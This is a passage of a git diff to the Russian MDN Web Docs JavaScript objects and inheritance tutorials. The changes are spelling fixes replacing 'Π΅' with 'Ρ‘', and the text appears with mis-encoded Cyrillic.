ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π’Π°ΠΌ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ Π² этом. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΒ ΠΎΠ±ΡƒΡ‡ΠΈΠΌ Вас тСории ΠΈ синтаксису ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π° Π·Π°Ρ‚Π΅ΠΌ рассмотрим, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свои собствСнныС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹.Β </p>
<h2 id="НСобходимыС_знания">НСобходимыС знания</h2>
@@ -37,7 +37,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹
<dt><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Π Π°Π±ΠΎΡ‚Π° с JSON-Π΄Π°Π½Π½Ρ‹ΠΌΠΈ</a></dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π² JavaScript (JavaScriptΒ Object Notation) (JSON) - это стандартный формат для прСдставлСния структурированных Π΄Π°Π½Π½Ρ‹Ρ… Π² Π²ΠΈΠ΄Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для прСдставлСния ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π²Π΅Π±-сайтах (Ρ‚.Π΅. ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ сСрвСра ΠΊ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ -Β Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌΒ ΠΎΠ½ΠΈΒ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Ρ‹ Π½Π° Π²Π΅Π±-страницС). Π’Ρ‹ довольно часто Π±ΡƒΠ΄Π΅Ρ‚Π΅ с этим ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ, поэтому Π² Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ прСдоставим вам всС, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для работы с JSON с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript, Π² Ρ‚ΠΎΠΌ числС доступ к элСмСнтам данных Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ JSON ΠΈ написания собствСнного JSON-ΠΊΠΎΠ΄Π°.</dd>
<dt><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">ΠŸΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° построСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²</a></dt>
- <dd>Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… ΠΌΡ‹ рассматривали самыС основныС ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹ Π² Ρ‚Π΅ΠΎΡ€ΠΈΠΈ ΠΈ синтаксисС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π²Β JavaScript, Π΄Π°Π² Π’Π°ΠΌ Ρ‚Π²Π΅Ρ€Π΄ΡƒΡŽ основу для Π½Π°Ρ‡Π°Π»Π°. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ погрузимся Π² практичСскиС занятия, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ большС практичСской Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π² построСнии собствСнных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π²Β JavaScript, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠΎΠ΅-что вСсСлоС ΠΈ красочноС - нСсколько Ρ†Π²Π΅Ρ‚Π½Ρ‹Ρ… ΠΏΡ€Ρ‹Π³Π°ΡŽΡ‰ΠΈΡ… ΡˆΠ°Ρ€ΠΈΠΊΠΎΠ².</dd>
+ <dd>Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… ΠΌΡ‹ рассматривали самыС основныС ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹ Π² Ρ‚Π΅ΠΎΡ€ΠΈΠΈ ΠΈ синтаксисС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π²Β JavaScript, Π΄Π°Π² Π’Π°ΠΌ Ρ‚Π²Ρ‘Ρ€Π΄ΡƒΡŽ основу для Π½Π°Ρ‡Π°Π»Π°. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ погрузимся Π² практичСскиС занятия, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ большС практичСской Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π² построСнии собствСнных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π²Β JavaScript, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠΎΠ΅-что вСсёлоС ΠΈ красочноС - нСсколько Ρ†Π²Π΅Ρ‚Π½Ρ‹Ρ… ΠΏΡ€Ρ‹Π³Π°ΡŽΡ‰ΠΈΡ… ΡˆΠ°Ρ€ΠΈΠΊΠΎΠ².</dd>
</dl>
<h2 id="Задания">Задания</h2>
diff --git a/files/ru/learn/javascript/objects/inheritance/index.html b/files/ru/learn/javascript/objects/inheritance/index.html
index 35e6f4a4df..174f7e0f3a 100644
--- a/files/ru/learn/javascript/objects/inheritance/index.html
+++ b/files/ru/learn/javascript/objects/inheritance/index.html
@@ -55,7 +55,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Inheritance
<h2 id="Начало_Ρ€Π°Π±ΠΎΡ‚Ρ‹">Начало Ρ€Π°Π±ΠΎΡ‚Ρ‹</h2>
-<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго сдСлайтС сСбС Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию нашСго Ρ„Π°ΠΉΠ»Π° <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-start.html">oojs-class-inheritance-start.html</a> (ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Β <a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-start.html">Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>). Π’ Ρ„Π°ΠΉΠ»Π΅ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ конструктора <code>Person()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ использовали Π½Π° протяТСнии всСго модуля, с нСбольшим ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ΠΌ - ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ конструктора Ρ‚ΠΎΠ»ΡŒΠΊΠΎ лишь свойства:</p>
+<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго сдСлайтС сСбС Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию нашСго Ρ„Π°ΠΉΠ»Π° <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-start.html">oojs-class-inheritance-start.html</a> (ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Β <a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-start.html">Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>). Π’ Ρ„Π°ΠΉΠ»Π΅ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ конструктора <code>Person()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ использовали Π½Π° протяТСнии всСго модуля, с нСбольшим ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ΠΌ - ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ конструктора Ρ‚ΠΎΠ»ΡŒΠΊΠΎ лишь свойства:</p>
<pre class="brush: js notranslate">function Person(first, last, age, gender, interests) {
this.name = {
@@ -74,14 +74,14 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Inheritance
};</pre>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Π’ исходном ΠΊΠΎΠ΄Π΅ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ <code>bio()</code> ΠΈ <code>farewell()</code>. ПозТС Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ унаслСдованы Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ конструкторами.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Π’ исходном ΠΊΠΎΠ΄Π΅ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ <code>bio()</code> ΠΈ <code>farewell()</code>. ПозТС Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ унаслСдованы Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ конструкторами.</p>
</div>
<p>Π‘ΠΊΠ°ΠΆΠ΅ΠΌ Ρ‚Π°ΠΊ, ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ класс <code>Teacher</code>, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ‚ΠΎΠΌΡƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ описали Π² нашСм ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ наслСдуСт всСх Ρ‡Π»Π΅Π½ΠΎΠ² ΠΎΡ‚ <code>Person</code>, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя:</p>
<ol>
- <li>НовоС свойство, <code>subject</code> - ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€Π΅ΠΏΠΎΠ΄Π°Π΅Ρ‚ ΡƒΡ‡ΠΈΡ‚Π΅Π»ΡŒ.</li>
- <li>ΠžΠ±Π½ΠΎΠ²Π»Π΅Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>greeting()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π²ΡƒΡ‡ΠΈΡ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ, Ρ‡Π΅ΠΌ стандартный ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>greeting()</code>β€” Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для учитСля, ΠΎΠ±Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π³ΠΎΡΡ ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡƒΡ‡Π΅Π½ΠΈΠΊΠ°ΠΌ Π² школС.</li>
+ <li>НовоС свойство, <code>subject</code> - ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€Π΅ΠΏΠΎΠ΄Π°Ρ‘Ρ‚ ΡƒΡ‡ΠΈΡ‚Π΅Π»ΡŒ.</li>
+ <li>ΠžΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>greeting()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π²ΡƒΡ‡ΠΈΡ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ, Ρ‡Π΅ΠΌ стандартный ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>greeting()</code>β€” Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для учитСля, ΠΎΠ±Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π³ΠΎΡΡ ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡƒΡ‡Π΅Π½ΠΈΠΊΠ°ΠΌ Π² школС.</li>
</ol>
<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-конструктора_Teacher">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-конструктора Teacher()</h2>
@@ -94,7 +94,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Inheritance
this.subject = subject;
}</pre>
-<p>Π­Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° конструктор Person Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡΡ…, Π½ΠΎ здСсь Π΅ΡΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ странноС, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅ - Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call()</a></code>. Π­Ρ‚Π° функция Π² основном позволяСт Π²Π°ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π³Π΄Π΅-Ρ‚ΠΎ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ мСстС, Π½ΠΎ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ контСкстС. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π° ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ - Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΈ Π΅Π΅ Π²Ρ‹Π·ΠΎΠ²Π΅.</p>
+<p>Π­Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° конструктор Person Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡΡ…, Π½ΠΎ здСсь Π΅ΡΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ странноС, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅ - Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call()</a></code>. Π­Ρ‚Π° функция Π² основном позволяСт Π²Π°ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π³Π΄Π΅-Ρ‚ΠΎ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ мСстС, Π½ΠΎ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ контСкстС. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π° ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ - Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΈ Π΅Ρ‘ Π²Ρ‹Π·ΠΎΠ²Π΅.</p>
<p>ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ конструктор <code>Teacher()</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π» Ρ‚Π΅ ΠΆΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, Ρ‡Ρ‚ΠΎ ΠΈ конструктор <code>Person()</code>, ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½ наслСдуСтся, поэтому ΠΌΡ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΈΡ… ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π² Π²Ρ‹Π·ΠΎΠ²Π΅ <code>call()</code>.</p>
@@ -137,13 +137,13 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Inheritance
<h2 id="Установка_Teachers_prototype_ΠΈ_конструктор_ссылок">Установка Teacher()'s prototype ΠΈ конструктор ссылок</h2>
-<p>Пока всС Ρ…ΠΎΡ€ΠΎΡˆΠΎ, Π½ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°. ΠœΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Π½ΠΎΠ²Ρ‹ΠΉ конструктор ΠΈ Ρƒ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ свойство <code>prototype</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ просто содСрТит ссылку Π½Π° саму ΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ΡΠΊΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Он Π½Π΅ содСрТит ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² свойства <code>prototype</code> конструктора <code>Person</code>. Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ это, Π²Π²Π΅Π΄ΠΈΡ‚Π΅ <code>Object.getOwnPropertyNames(Teacher.prototype)</code> Π² ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° тСкста ΠΈΠ»ΠΈ Π² Π²Π°ΡˆΡƒ консоль JavaScript. Π—Π°Ρ‚Π΅ΠΌ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ Π΅Π³ΠΎ снова, Π·Π°ΠΌΠ΅Π½ΠΈΠ² <code>Teacher</code>Β Π½Π°Β <code>Person</code>. Новый конструктор <em>Π½Π΅ наслСдуСт</em> эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ это, сравнитС Π²Ρ‹Π²ΠΎΠ΄Ρ‹ Π² консоль <code>Person.prototype.greeting</code> ΠΈ <code>Teacher.prototype.greeting</code>. Нам Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ <code>Teacher()</code> Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π½Π° ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅ <code>Person()</code>. Π˜Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΌΡ‹ это Π΄Π΅Π»Π°Π΅ΠΌ?</p>
+<p>Пока всС Ρ…ΠΎΡ€ΠΎΡˆΠΎ, Π½ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°. ΠœΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Π½ΠΎΠ²Ρ‹ΠΉ конструктор ΠΈ Ρƒ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ свойство <code>prototype</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ просто содСрТит ссылку Π½Π° саму ΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ΡΠΊΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Он Π½Π΅ содСрТит ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² свойства <code>prototype</code> конструктора <code>Person</code>. Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ это, Π²Π²Π΅Π΄ΠΈΡ‚Π΅ <code>Object.getOwnPropertyNames(Teacher.prototype)</code> Π² ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° тСкста ΠΈΠ»ΠΈ Π² Π²Π°ΡˆΡƒ консоль JavaScript. Π—Π°Ρ‚Π΅ΠΌ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ Π΅Π³ΠΎ снова, Π·Π°ΠΌΠ΅Π½ΠΈΠ² <code>Teacher</code>Β Π½Π°Β <code>Person</code>. Новый конструктор <em>Π½Π΅ наслСдуСт</em> эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ это, сравнитС Π²Ρ‹Π²ΠΎΠ΄Ρ‹ Π² консоль <code>Person.prototype.greeting</code> ΠΈ <code>Teacher.prototype.greeting</code>. Нам Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ <code>Teacher()</code> Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π½Π° ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅ <code>Person()</code>. Π˜Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΌΡ‹ это Π΄Π΅Π»Π°Π΅ΠΌ?</p>
<ol>
<li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π½ΠΈΠΆΠ΅ своСго ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ добавлСния:
<pre class="brush: js notranslate">Teacher.prototype = Object.create(Person.prototype);</pre>
